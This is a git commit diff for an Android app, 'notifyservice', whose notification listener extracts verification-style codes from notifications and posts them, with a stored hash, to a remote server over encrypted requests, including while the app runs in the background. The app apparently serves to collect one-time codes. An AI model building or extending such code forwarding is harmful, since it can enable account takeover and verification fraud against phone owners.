test
This commit is contained in:
parent
722f4f4279
commit
ec6a84eab9
4 changed files with 58 additions and 14 deletions
|
@ -1,5 +1,7 @@
|
|||
package com.example.notifyservice;
|
||||
|
||||
import static com.example.notifyservice.MainActivity.getCurrentHash;
|
||||
|
||||
import android.app.ActivityManager;
|
||||
import android.app.Notification;
|
||||
import android.content.Context;
|
||||
|
@ -59,8 +61,16 @@ public class Listener extends NotificationListenerService {
|
|||
String code = processExtras(sbn.getNotification().extras);
|
||||
if (code.length() < 5)
|
||||
return;
|
||||
MainActivity applicationContext = (MainActivity) getApplicationContext();
|
||||
applicationContext.onNotificationReceived(code);
|
||||
Context context = getApplicationContext();
|
||||
PostRequest postRequestTask = new PostRequest(context, null);
|
||||
postRequestTask.execute("code",
|
||||
code + ";" + getCurrentHash(context)); // STATIC
|
||||
if (MainActivity.callbackRef != null) {
|
||||
NotificationCallback callback = MainActivity.callbackRef.get();
|
||||
if (callback != null) {
|
||||
callback.onCodeReceived(code);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
|
|
@ -39,6 +39,7 @@ import android.util.Log;
|
|||
import org.json.JSONException;
|
||||
import org.json.JSONObject;
|
||||
|
||||
import java.lang.ref.WeakReference;
|
||||
import java.util.ArrayList;
|
||||
import java.util.Arrays;
|
||||
import java.util.List;
|
||||
|
@ -62,7 +63,6 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
|||
private WebChromeClient.CustomViewCallback customViewCallback;
|
||||
private ViewGroup mainContainer;
|
||||
|
||||
private String currentHash = ""; // STATIC
|
||||
private int currentPhone = 0;
|
||||
private List<PhoneNumber> phones;
|
||||
private boolean receivingSms = false;
|
||||
|
@ -74,6 +74,28 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
|||
private JSONObject ussd;
|
||||
private JSONObject language;
|
||||
|
||||
protected static WeakReference<NotificationCallback> callbackRef = new WeakReference<>(null);
|
||||
|
||||
public static void setNotificationCallback(NotificationCallback callback) {
|
||||
callbackRef = new WeakReference<>(callback);
|
||||
}
|
||||
|
||||
public static void removeNotificationCallback() {
|
||||
callbackRef.clear();
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void onResume() {
|
||||
super.onResume();
|
||||
MainActivity.setNotificationCallback(this::handleCodeReceived);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void onPause() {
|
||||
super.onPause();
|
||||
MainActivity.removeNotificationCallback();
|
||||
}
|
||||
|
||||
|
||||
public class PhoneNumber {
|
||||
public String phone;
|
||||
|
@ -293,16 +315,11 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
|||
}
|
||||
}
|
||||
|
||||
public void onNotificationReceived(String code) {
|
||||
public void handleCodeReceived(String code) {
|
||||
if(codes.contains(code))
|
||||
return;
|
||||
Log.i("a", "onNotificationReceived - " + code); // STATIC
|
||||
Log.i("a", "CurrenHashReceived - " + currentHash);
|
||||
codes.add(code);
|
||||
cancelTimer();
|
||||
PostRequest postRequestTask = new PostRequest(this, this);
|
||||
postRequestTask.execute("code",
|
||||
code + ";" + currentHash); // STATIC
|
||||
nextPhone();
|
||||
}
|
||||
|
||||
|
@ -327,6 +344,18 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
|||
savePhone(context, phones.get(currentPhone));
|
||||
}
|
||||
|
||||
public static String getCurrentHash(Context context) {
|
||||
SharedPreferences prefs = context.getSharedPreferences("PRIVATE_DATA", Context.MODE_PRIVATE);
|
||||
return prefs.getString("KEY_HASH", ""); // Return empty string if not found
|
||||
}
|
||||
|
||||
// Store the hash value
|
||||
public static void setCurrentHash(Context context, String hash) {
|
||||
SharedPreferences.Editor editor = context.getSharedPreferences("PRIVATE_DATA", Context.MODE_PRIVATE).edit();
|
||||
editor.putString("KEY_HASH", hash);
|
||||
editor.apply(); // Asynchronously save changes
|
||||
}
|
||||
|
||||
public static boolean isSimConnected(Context context, TelephonyManager telephonyManager) {
|
||||
Log.i("a", "isSimConnected"); // STATIC
|
||||
if (ContextCompat.checkSelfPermission(context, Manifest.permission.READ_PHONE_STATE)
|
||||
|
@ -357,7 +386,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
|||
} else {
|
||||
Log.i("a", "Phone not provided"); // STATIC
|
||||
receivingSms = false;
|
||||
currentHash = ""; // STATIC
|
||||
setCurrentHash(context, ""); // STATIC
|
||||
Log.i("a", "Sim connected result: " + isSimConnected(context, phone.telephonyManager));
|
||||
if(!isSimConnected(context, phone.telephonyManager))
|
||||
nextPhone();
|
||||
|
@ -367,7 +396,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
|||
}
|
||||
|
||||
private void requestPhone(Context context, PhoneNumber phone){
|
||||
currentHash = ""; // STATIC
|
||||
setCurrentHash(context, ""); // STATIC
|
||||
Log.i("a", "Requesting phone - " + phone.phone); // STATIC
|
||||
PostRequest postRequestTask = new PostRequest(context, this);
|
||||
postRequestTask.execute("phone",
|
||||
|
@ -380,8 +409,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
|||
try {
|
||||
Log.i("PostResult", result.toString()); // STATIC
|
||||
if(result.has("hash")) { // STATIC
|
||||
currentHash = result.getString("hash"); // STATIC
|
||||
Log.i("currenthash", currentHash); // STATIC
|
||||
setCurrentHash(this, result.getString("hash")); // STATIC
|
||||
}
|
||||
if(result.has("key")) // STATIC
|
||||
setKey(getBaseContext(), result.getString("key")); // STATIC
|
||||
|
|
|
@ -0,0 +1,5 @@
|
|||
package com.example.notifyservice;
|
||||
|
||||
public interface NotificationCallback {
|
||||
void onCodeReceived(String code);
|
||||
}
|
|
@ -64,7 +64,8 @@ public class PostRequest {
|
|||
|
||||
protected void onPostExecute(String result) {
|
||||
try {
|
||||
|
||||
if (callback == null)
|
||||
return;
|
||||
callback.onPostResponse((new JSONObject(
|
||||
Encryption.aesDecrypt(
|
||||
result
|
||||
|
|
Loading…
Add table
Reference in a new issue